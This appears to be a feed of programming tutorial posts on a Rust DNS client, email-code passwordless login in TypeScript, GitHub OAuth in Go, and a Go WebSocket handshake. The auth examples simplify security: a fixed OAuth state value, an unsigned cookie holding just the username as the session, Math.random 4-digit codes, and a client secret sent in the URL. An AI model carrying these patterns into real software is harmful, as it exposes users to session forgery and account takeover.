0x07 0x65 0x78 0x61 0x6d 0x70 0x6c 0x65 0x03 0x63 0x6f 0x6d 0x00

You can also see it yourself in Wireshark.
(Domain Name System (query) > Queries > example.com: type A, class IN > Name)

4. Messages

This section outlines the format of DNS message format (queries and responses). Each message always has Header section as well as zero or more Question, Answer, Authority, and Additional sections in it.
(Typically, one DNS query has Header and one Question sections (no Answer section).
And one DNS response has Header, Question(s), Answer (with the same numbers Question has), and other sections as well).

4.1.4. Message compression

Since DNS messages is limited up to 512 bytes, DNS itself has a nice compression mechanism to express domain names in it.
If there exists the same domain name in UDP data repeatedly, we don't have to consume the same size of bytes for the name.

Let's consider the following example.
When you query A record for the domain name example.com, the response should contains the name 2 times.
In this case, in order to encode the domain name, we need 13 bytes for each name.
After all the domain name consumes 13 x 2 -> 26 bytes of UDP data in total.

Again example.com will be encoded into:

0x07 0x65 0x78 0x61 0x6d 0x70 0x6c 0x65 0x03 0x63 0x6f 0x6d 0x00 (13 bytes!)

This is where the message compression comes into play.
When we pick up the first 2 bytes (16 bits) of the label and if the 2 most significant bits are 1, it means the name is compressed.
And the OFFSET below points to the index of the starting point of the domain name in the same response:

    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    | 1  1|                OFFSET                   |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

Let's see what it looks like in our example.com response in Wireshark.
The response also has Question section that includes Name field with the value example.com.
It occupies 13 bytes as this is the first time that the domain name appears in the message.
Then, when you go to Answer section, you can see Name field the the same value example.com again.
But this time, our Wireshark shows the byte representation of the domain name is 0xc00c:

You can think of it as a information from DNS protocol such as:

Hey, we saw the domain name somewhere in this message before! Let's see... the rest of bits represents 0x0c. So the label must start at 12th byte of the message. Go ahead!

And if you see the 12th byte of the message, it points to the beginning of the binary representation of example.com, which is 0x07.

Building Our Rust Client

Let's write down the important Rust structs we'll need:

#[derive(Debug)]
pub struct Query {
    header: Header,
    questions: Vec<Question>,
    // technically we need other section too, but this time let's ignore them.
}

#[derive(Debug)]
pub struct Response {
    pub header: Header,
    pub questions: Vec<Question>,
    pub answers: Vec<ResourceRecord>,
    pub authorities: Vec<ResourceRecord>,
    pub additionals: Vec<ResourceRecord>,
}

Note: I'm omitting full code listings, but you can find them on GitHub.

Next, let's implement Try trait for each struct.
Here is the example of Header struct:

impl From<&[u8; 512]> for Header {
    fn from(value: &[u8; 512]) -> Self {
        let id = (value[0] as u16) << 8 | value[1] as u16;
        let qr = (value[2] & 0x80) != 0;
        let opcode = (value[2] & 0x78) >> 3;
        let aa = (value[2] & 0x04) != 0;
        let tc = (value[2] & 0x02) != 0;
        let rd = (value[2] & 0x01) != 0;
        let ra = (value[3] & 0x80) != 0;
        let rcode = value[3] & 0x0F;
        let qdcount = (value[4] as u16) << 8 | value[5] as u16;
        let ancount = (value[6] as u16) << 8 | value[7] as u16;
        let nscount = (value[8] as u16) << 8 | value[9] as u16;
        let arcount = (value[10] as u16) << 8 | value[11] as u16;
        Header::new(
            id, qr, opcode, aa, tc, rd, ra, rcode, qdcount, ancount, nscount, arcount,
        )
    } 
}

We can use the method to decode DNS message as follows:

let header: Header = Header::from(bytes);

At this point I realized we need to track the current offset to decode the whole message.
Remember message compression? It gives us the index of bytes stream pointing to the domain name we want.

So I decided to pass the offset (mutable reference) to each try_from function. This doesn't look elegant - but let me go this way 🙏.

Here's an example of my code for ResourceRecord:

impl TryFrom<(&[u8; 512], &mut usize)> for ResourceRecord {
    type Error = String;

    fn try_from((bytes, offset): (&[u8; 512], &mut usize)) -> Result<Self, Self::Error> {
        if *offset + 12 >= bytes.len() {
            return Err("data is too short".to_string());
        }
        let name = if bytes[*offset] == 192 {
            // message compression
            let mut tmp_offset = bytes[*offset + 1] as usize;
            *offset += 2;
            get_name(bytes, &mut tmp_offset)?
        } else {
            get_name(bytes, offset)?
        };
        let query_type = match ((bytes[*offset] as u16) << 8) + (bytes[*offset + 1] as u16) {
            1 => QueryType::A,
            28 => QueryType::AAAA,
            _ => panic!(),
        };
        *offset += 2;
        let query_class = QueryClass::IN;
        *offset += 2;
        let ttl = ((bytes[*offset] as u32) << 24)
            + ((bytes[*offset + 1] as u32) << 16)
            + ((bytes[*offset + 2] as u32) << 8)
            + (bytes[*offset + 3] as u32);
        *offset += 4;
        let rdlength = (((bytes[*offset] as u16) << 8) + bytes[*offset + 1] as u16) as u16;
        *offset += 2;
        let rdata = match query_type {
            QueryType::A => RData::A([
                bytes[*offset],
                bytes[*offset + 1],
                bytes[*offset + 2],
                bytes[*offset + 3],
            ]),
            // we just only consider A record this time
            _ => unimplemented!(),
        };
        *offset += rdlength as usize;

        Ok(ResourceRecord {
            name,
            query_type,
            query_class,
            ttl,
            rdlength,
            rdata,
        })
    }
}

Let's test It!

Once you have a basic client, give it a try:

cargo run --  google.com

If everything works as expected, you should see an IP address for Google!

This is the end of our journey to build a super simplified DNS client focused on A records.
Here are some challenges to take your learning further:

More Record Types: Support lookups for records like AAAA (IPv6), MX (mail), etc.
Error Handling: Handle potential errors and malformed responses.
Recursion: A real-world client would likely make recursive queries if the initial server doesn't have the answer.

Thanks for reading ✌️

Password-less Authentication (With code) in TypeScript

hiro — Mon, 01 Apr 2024 00:00:00 +0000

Implementing password-less authentication can transform your application's user experience. But, like any technology shift, it comes with nuances to navigate. I recently integrated password-less login for our product at work using Firebase's magic links and encountered some common pitfalls. In this article, I'll delve into these challenges and share the solutions and insights I gained along the way.

Firebase already have a nice feature (aka magic links), but as far as I searched the internet there are some pitfalls:

Preview mode (iOS): iOS has a handy preview feature for a mobile app in it. When pressing a link for a second within your mail app on iOS, you can open the link using a small preview window. The downside of it is if user uses it, the user might not be able to login to your app because the user accessed the link two times (1st attempt with the preview mode, and 2nd time with your app).
In-app browser: In some cases a link gets opened within an in-app browser, depending on users' preference. And if your app is a web app, the consequence is that the user logs in to your app within the in-app browser (not a default browser app, which is not what you want).
App review: Since it's impossible for reviewers to provide their email address for the app review, you need to somehow provide them an alternative to login to your app for the review.

There is another option - One user enter an email address in the login screen in your app, it will email a short-lived authentication code (say, 4-6 digit code) to the user. Then the user enter the code in the login screen. It doesn't solve the issue #3 mentioned above. But it still seems worth trying.

So let's explore implementing a short-lived authentication code sent via email. Here's how I approached it:

Firebase for authentication
TypeScript (my go to language)
Hono.js for a lightweight server framework
Class-based structure to enhance code organization

Sample Code Here

Repository Layer

I like to only expose database APIs that are necessary to create my app. Repository pattern help us achieve this:

// repository.ts
import { Firestore } from "firebase-admin/firestore";
import { AuthCodeDoc, AuthCodeDocSchema } from "./domain";
import { Err, Ok, Result } from "../types";

const AUTH_CODE_COLLECTION = "auth_code";

export class FirestoreAuthCodeRepository {
  private readonly db: Firestore;
  constructor(db: Firestore) {
    this.db = db;
  }

  public async get(uid: string): Promise<Result<AuthCodeDoc>> {
    const snapshot = await this.db
      .collection(AUTH_CODE_COLLECTION)
      .doc(uid)
      .get();
    if (!snapshot.exists) {
      return Err("data not found in db");
    }
    const parsedData = AuthCodeDocSchema.safeParse(snapshot.data());
    if (!parsedData.success) {
      await this.delete(uid);
      return Err("failed to parse data in db");
    }
    const authCodeDoc = parsedData.data;
    return Ok(authCodeDoc);
  }

  public async create(uid: string, newDoc: any): Promise<Result<any>> {
    try {
      await this.db.collection(AUTH_CODE_COLLECTION).doc(uid).set(newDoc);
      return Ok(newDoc);
    } catch (err) {
      console.log(err);
      return Err("failed to create doc");
    }
  }

  public async update(
    uid: string,
    newDoc: Partial<AuthCodeDoc>
  ): Promise<Result<void>> {
    try {
      await this.db.collection(AUTH_CODE_COLLECTION).doc(uid).update(newDoc);
      return Ok(undefined);
    } catch (err) {
      console.log(err);
      return Err("failed to update doc");
    }
  }

  public async delete(uid: string): Promise<Result<void>> {
    try {
      await this.db.collection(AUTH_CODE_COLLECTION).doc(uid).delete();
      return Ok(undefined);
    } catch (e) {
      console.log(e);
      return Err("failed to delete doc");
    }
  }

Service Layer

And then, all the business logics should be placed, not in HTTP handler layer, but service layer. Here's an example of the service layer:

// service.ts
import { AuthCodeDoc } from "./domain";
import { Err, Ok, Result } from "../types";

type UserRecord = { uid: string };

interface DBRepository {
  get(uid: string): Promise<Result<AuthCodeDoc>>;
  create(uid: string, doc: any): Promise<Result<AuthCodeDoc>>;
  update(uid: string, doc: Partial<AuthCodeDoc>): Promise<Result<void>>;
  delete(uid: string): Promise<Result<void>>;
}

interface AuthRepository {
  getUserByEmail(email: string): Promise<UserRecord>;
  createCustomToken(uid: string): Promise<string>;
}

const MAX_ATTEMPTS = 3;
const EXPIRATION_SEC = 60 * 1_000;

export class AuthCodeService {
  constructor(private db: DBRepository, private auth: AuthRepository) {}

  public async validate(
    email: string,
    code: string
  ): Promise<Result<{ customToken: string }>> {
    // get uid
    let userRecord: UserRecord;
    try {
      userRecord = await this.auth.getUserByEmail(email);
    } catch (err) {
      console.log({ err });
      return Err("user not found");
    }
    // get authentication code data from db
    const doc = await this.db.get(userRecord.uid);
    if (!doc.success) {
      return Err(doc.detail);
    }
    const authCodeDoc = doc.data;
    if (authCodeDoc.expiresAt._seconds < Date.now() / 1000) {
      await this.db.delete(userRecord.uid);
      return Err("code expired");
    }
    if (authCodeDoc.code !== code) {
      await this.db.update(userRecord.uid, {
        email: authCodeDoc.email,
        code: authCodeDoc.code,
        attempts: authCodeDoc.attempts + 1,
      });
      if (authCodeDoc.attempts + 1 >= MAX_ATTEMPTS) {
        await this.db.delete(userRecord.uid);
      }
      return Err("invalid code");
    }
    const customToken = await this.auth.createCustomToken(userRecord.uid);
    await this.db.delete(userRecord.uid);
    return Ok({ customToken });
  }

  public async generateCode(email: string): Promise<Result<{ code: string }>> {
    let userRecord: UserRecord;
    try {
      userRecord = await this.auth.getUserByEmail(email);
    } catch (err) {
      console.log({ err });
      return Err("user not found");
    }
    // generate authentication code
    const code = getRandomCode(4);
    const now = Date.now();
    // store code to database
    const result = await this.db.create(userRecord.uid, {
      email,
      code,
      attempts: 0,
      expiresAt: new Date(now + EXPIRATION_SEC),
      createdAt: new Date(now),
    });
    if (!result.success) {
      return Err(result.detail);
    }
    return Ok({ code });
  }
}

export class EmailService {
  constructor() {}

  public async sendEmailWithAuthCode(
    to: string,
    code: string
  ): Promise<Result<{ success: boolean }>> {
    try {
      console.log(`sending email to ${to} with authentication code: ${code}`);
      return Ok({ success: true });
    } catch (e) {
      console.log(e);
      return Err("failed to send email to user");
    }
  }
}

function getRandomCode(length: number) {
  let code = "";
  for (let i = 0; i < length; i++) {
    code += Math.floor(Math.random() * 10);
  }
  return code;
}

Handler Layer

Finally, combine all of them into HTTP handler layer:

// handler.ts
import { Context } from "hono";

import { Result } from "../types";

interface AuthCodeService {
  validate(
    email: string,
    code: string
  ): Promise<Result<{ customToken: string }>>;
  generateCode(email: string): Promise<Result<{ code: string }>>;
}

interface EmailService {
  sendEmailWithAuthCode(
    to: string,
    code: string
  ): Promise<Result<{ success: boolean }>>;
}

export class AuthHandler {
  constructor(
    private authService: AuthCodeService,
    private emailService: EmailService
  ) {}

  public async handleAuth(c: Context) {
    const authType = c.req.query("auth_type");
    switch (authType) {
      case "code":
        return this.handleAuthCodeRequest(c);
      default:
        return c.json({ success: false, detail: "bad request" }, 400);
    }
  }

  public async handleLogin(c: Context) {
    const body = await c.req.json();
    // TODO: validation
    const result = await this.authService.validate(body.email, body.code);
    if (!result.success) {
      return c.json({ success: false, detail: result.detail }, 400);
    }
    return c.json({ success: true, customToken: result.data.customToken }, 200);
  }

  public async handleAuthCodeRequest(c: Context) {
    const body = await c.req.json();
    const codeResult = await this.authService.generateCode(body.email);
    if (!codeResult.success) {
      return c.json({ success: false, detail: codeResult.detail }, 400);
    }
    const emailResult = await this.emailService.sendEmailWithAuthCode(
      body.email,
      codeResult.data.code
    );
    if (!emailResult.success) {
      return c.json({ success: false, detail: emailResult.detail }, 400);
    }
    return c.json(
      {
        success: true,
        detail: "authentication code generated!",
      },
      201
    );
  }
}

Let's Try It!

# create a test user
npm run seed "<enter email address here>" # ➜ user <email address> created!

# run dev server
npm run dev # ➜ http://localhost:3000

# open another terminal, and generate authentication code
curl -X POST "http://localhost:3000/auth?auth_type=code" -d '{"email": "user@example.com"}' -H "Content-Type: application/json"
# ➜ {"success":true,"detail":"authentication code generated!"}
# ➜ see the server side terminal to get the authentication code

# get authentication code via email and then, login using the code
curl -X POST "http://localhost:3000/login" -d '{"email": "user@example.com", "code": "1234"}' -H "Content-Type: application/json"
# ➜ {"success":true,"customToken":"..."}

Another Try - Result Type

Inspired by Rust, I implemented a custom Result type in TypeScript to streamline error handling. I don't think throwing error in general purpose language like TypeScript is a bad language design. But in Rust, I found handling and refactoring logics around Result and Option types are just fun. And I like to bring the joy to TypeScript. Here is my code:

// types.ts
export type Ok<T> = {
  success: true;
  data: T;
};

export function Ok<T>(data: T): Ok<T> {
  return {
    success: true,
    data,
  };
}

export type Err = {
  success: false;
  detail: string;
};

export function Err(detail: string): Err {
  return {
    success: false,
    detail,
  };
}

export type Result<T> = Ok<T> | Err;

The result is, since TypeScript doesn't have syntaxes that Rust has (say, ? shorthand), we always need to write if statement to handle the returned value just like Go. I personally like it:

const codeResult = await this.authService.generateCode(body.email);
if (!codeResult.success) {
  return c.json({ success: false, detail: codeResult.detail }, 400);
}
const emailResult = await this.emailService.sendEmailWithAuthCode(
  body.email,
  codeResult.data.code
);
if (!emailResult.success) {
  return c.json({ success: false, detail: emailResult.detail }, 500);
}
// ...

But the truth is, we just put off try-catch statement somewhere in our service layer and repository layer, which resulted in a lot more code.

Also, as TypeScript doesn't have variable shadowing, we need to give each returned value a unique name (see above, Or we could use let keyword for variable declaration).

Thanks for reading ✌️

Authorizing Your App With GitHub in Go

hiro — Mon, 25 Mar 2024 00:00:00 +0000

It had been a long time since my last OAuth 2.0 DynamicsCompressorNode, so I decided to revisit it with GitHub's OAuth as the partner. They have an excellent documentation, which is always a great start.

GitHub offers two app flavors: GitHub app and OAuth app. While they recommend GitHub apps, OAuth apps were perfectly fine for my needs. And I'm going to leverage the authozation code grant type for my web app OAuth 2.0 integration. If you know how the grant type works this should be easy for you to read :)

Project Set Up

For the very first step, we need to register our app in GitHub.com and get client ID and secret respectively. Go ahead this page and hit New OAuth app. Fill in the blank and click Register application.

Let's put a login button in our web page. Your HTTP request to GitHub should be GET request and at least include the following parameters:

parameter	description
`client_id`	The client ID you get from GitHub.
`redirect_uri`	The URL in your application where users will be sent after authorization.
`scope`	A list of scope (user's information) that you want to get from GitHub.
`state`	A random string used for security purpose (in this blog I'm going to use a fixed value, which is "abcdefgh").

Here is how it looked in my Go project using template standard library:

<body>
  <h3>Login Page</h3>
  <button>
      <a id="login" href="https://github.com/login/oauth/authorize?client_id={{.}}&redirect_uri=http://localhost:3000/callback/&scope=read:user&state=abcdefgh">
          login with GitHub
      </a>
  </button>
</body>

Callback Endpoint

Now for the /callback endpoint. Here's a simplified breakdown of our OAuth 2.0 dance moves:

Grab the authorization code from the callback URL.
Verify the state value in the URL.
Request user info to GitHub using the code we just got.
Set the user info to a cookie and redirect user back to our web app (/).

Here's the snippet of my Go code:

func (h *GitHubAuthHandler) HandleCallback(c echo.Context) error {
    // get authorization code in the query params
    code := c.Request().URL.Query().Get("code")
    if len(code) == 0 {
        return c.String(http.StatusBadRequest, "bad request")
    }
    // check state value to make sure the request was initiated by the server itself.
    state := c.Request().URL.Query().Get("state")
    // TODO: state must be generated by server each time
    if state != "abcdefgh" {
        return c.String(http.StatusBadRequest, "unexpected state value. The authorization request could have been malformed.")
    }
    // get user info from GitHub using the authorization code we just received
    userInfo, err := h.svc.GetUserInfo(code)
    if err != nil {
        return c.String(http.StatusInternalServerError, err.Error())
    }
    // add the data to cookie should be enough for this project
    cookie := new(http.Cookie)
    cookie.Name = "session"
    cookie.Value = userInfo.Login
    cookie.Path = "/"
    cookie.Expires = time.Now().Add(10 * time.Minute)
    c.SetCookie(cookie)
    return c.Redirect(http.StatusTemporaryRedirect, "/")
}

And here is the code for my GitHubAuthService:

func (g *GitHubAuthService) GetUserInfo(code string) (*UserInfo, error) {
  // generate URL
    url := fmt.Sprintf("%s?client_id=%s&client_secret=%s&code=%s",
        githubAccessTokenUrl, g.clientId, g.clientSecret, code)
  // get authorization request (simply, an access (bearer) token)
    ar, err := getAuthRequest(g.logger, url)
    if err != nil {
        return nil, err
    }
  // use the access token to get user info
    ui, err := getUserInfo(g.logger, *ar)
    if err != nil {
        return nil, err
    }
    return ui, nil
}

func getUserInfo(logger echo.Logger, ar AuthRequest) (*UserInfo, error) {
    req, err := http.NewRequest("GET", githubUserApi, nil)
    if err != nil {
        return nil, err
    }
    req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", ar.Token))
    hc := &http.Client{}
    res, err := hc.Do(req)
    if err != nil {
        return nil, err
    }
    defer res.Body.Close()
    if res.StatusCode >= 400 {
        return nil, err
    }
    var ui UserInfo
    err = json.NewDecoder(res.Body).Decode(&ui)
    if err != nil {
        return nil, err
    }
    logger.Info("Got user info: ", fmt.Sprintf("%+v", ui))
    return &ui, nil
}

func getAuthRequest(logger echo.Logger, url string) (*AuthRequest, error) {
    req, err := http.NewRequest("POST", url, nil)
    if err != nil {
        return nil, err
    }
    req.Header.Set("Accept", "application/json")
    hc := &http.Client{}
    res, err := hc.Do(req)
    if err != nil {
        return nil, err
    }
    defer res.Body.Close()
    if res.StatusCode >= 400 {
        return nil, err
    }
    var ar AuthRequest
    err = json.NewDecoder(res.Body).Decode(&ar)
    if err != nil {
        return nil, err
    }
    if len(ar.Token) == 0 {
        return nil, errors.New("no token")
    }
    logger.Info("auth request: ", fmt.Sprintf("%+v", ar))
    return &ar, nil
}

Thanks for reading ✌️

My Journey Building a WebSocket Server in Go

hiro — Sat, 24 Feb 2024 00:00:00 +0000

A favorite YouTuber of mine once said that the best way to learn a new programming language is to build projects with it.

Inspired by this video, I decided to dive in and create my own WebSocket server using Go.

(There are articles out there explaining what the WebSocket protocol is. So I won't write about it and let them play the role.)

Read RFC6455

Before starting, my knowledge of the WebSocket protocol was pretty limited:

It's built on top of HTTP.
Communication starts with a client sending an HTTP "Upgrade" request to switch to WebSocket.
The server responds, and boom! A WebSocket connection is established.

Not knowing much else, I decided to consult the source - RFC6455. This is where I learned that WebSocket really only uses HTTP for the initial handshake. After that, it's all about exchanging raw TCP data in the form of data frames defined by the RFC.

The Challenge: Mixing HTTP and TCP

This is where things got tricky. Normally in Go, we don't have direct access to TCP payloads when working with HTTP objects. So, how do we combine HTTP and TCP communication in our server?

One straightforward approach is running a separate TCP server:

// Here, conn is TCP connection (net.Conn)
// ...
const delimiter = "\r\n" // "\u000D\u000A" // CR & LF
buf := make([]byte, 2048)
n, err := conn.Read(buf)
if err != nil {
    log.Println("error reading payload to buffer: ", err)
    return
}
payload := strings.Split(string(buf[:n]), delimiter)
reqLine := strings.Split(payload[0], " ")
// validate HTTP method, version
headers := getHTTPHeaders(payload[1:])
// check Host, Upgrade, Connection, and WebSocket version headers
// generate WebSocket key
key := hash(headers["Sec-WebSocket-Key"])
// respond
conn.Write([]byte("HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\n..."))
fmt.Println("=== handshake done! ===")

// from now on, we can send/receive WebSocket dataframe between server-client.

This is great for learning, as I got to manually construct HTTP responses over TCP. However, it's not the most practical solution. This is where Go's HTTP Hijack API saves the day!

Hijacking for the Win!

Go's HTTP Hijacker interface lets us pull the raw TCP connection right out of an HTTP request—perfect for our use case. Even popular libraries like Gorilla WebSocket use this technique under the hood.

This means we can have our cake and eat it too - a single server handling both HTTP and WebSocket traffic:

Here's how the Hijack API fits into my WebSocket server:

// after validating HTTP header in http.Request...
hj := w.(http.Hijacker)
conn, _, err := hj.Hijack()
if err != nil {
    fmt.Println("error hijacking http response writer:", err)
    w.WriteHeader(http.StatusInternalServerError)
    w.Write([]byte("internal server error"))
    return
}
// don't forget to close the TCP connection, 
// otherwise the client will send FIN packet around after 2 seconds.
defer conn.Close()
conn.Write([]byte(WSHandshakeResponse(key)))
fmt.Println("=== handshake done! ===")

// from now on, we can send/receive WebSocket dataframe between server-client.
// ...

That's the Handshake!

That's a whirlwind tour of the WebSocket handshake process. If I have the time, I'll follow up with an article about how to implement WebSocket data frames in Go.

Thanks for reading ✌️

Linux development setup on non-Linux environment (with VSCode)

hiro — Fri, 02 Feb 2024 21:43:39 +0000

Hello Windows and macOS users!

Have you ever thought about learning C/C++, or low level programming in other languages? Perhaps you've even bought a book, or explored related blogs, only to discover at the end of the day that the resources you've gathered are tailored exclusively for Linux.

"Oh... this only works for Linux..."

Now, you're faced with several options. The most costly one would be investing in dedicated hardware to fulfill your programming desire. Alternatively, you could set up a Linux virtual machine on your computer or explore cloud-based solutions, among other possibilities.

Developing Inside a Container

Or, you can create a Linux container and bind your local folder on your computer to the container, which is for free, and probably the fastest way to achieve it (if your choice of text editor is Visual Studio Code).

(It should work on Windows using the same way I haven't tried it though)

Prerequisite

Visual Studio Code
and Docker Desktop

Steps

Start Docker Desktop (if you didn't)
Install Dev Containers extension
In your VSCode, click "Open a remote window" button on the bottom left
Click "New Dev Container". Then select the language of your choice (for example, 'Go'). This will build a new Linux container for your development.
Be patient until it's ready (it probably takes a few minutes...)

After finishing the steps above, you will see your dev container is up and running now!

DEV Community: hiro

Here is what happened when I exposed my SSH app

Messages I Got

One More Thing

This Is How I Deploy My SSH App

Bubbletea and Wish

My app

Deployment

Latency Issue

Color Issue

Closing Note

Go and Rust comparison - building a task scheduler

Worker Pool Pattern in Go

What about Rust?

Do we have alternatives?

Let's Make a k3s Cluster with Raspberry Pi and Cloudflare Tunnel

Prerequisites

Set Up Raspberry Pi

Run Nginx For Testing Purpose

DNS Configuration

Create a Cloudflare Tunnel

Run Cloudflared

Set Up k3s Server

Local kubectl Set Up

Create a Pod For Testing Purpose

Let's Build HTTP Client From Scratch In Rust

API Design

DNS Client

HTTP Request

HTTP Response

Test

HTTP/1.1 Persistent Connections

Let's Build HTTP Parser From Scratch In Rust

Program Description

HTTP Request

TryFrom trait

HTTP Response

Check to see if it works

Summary

Effective Error Handling in Go

Building a Simple DNS Client in Rust

Wireshark

RFC 1035

Building Our Rust Client

Let's test It!

Password-less Authentication (With code) in TypeScript

Repository Layer

Service Layer

Handler Layer

Let's Try It!

Another Try - Result Type

Authorizing Your App With GitHub in Go

Project Set Up

Callback Endpoint

My Journey Building a WebSocket Server in Go

Read RFC6455

The Challenge: Mixing HTTP and TCP

Hijacking for the Win!

That's the Handshake!

Linux development setup on non-Linux environment (with VSCode)

Developing Inside a Container

Prerequisite

Steps

Links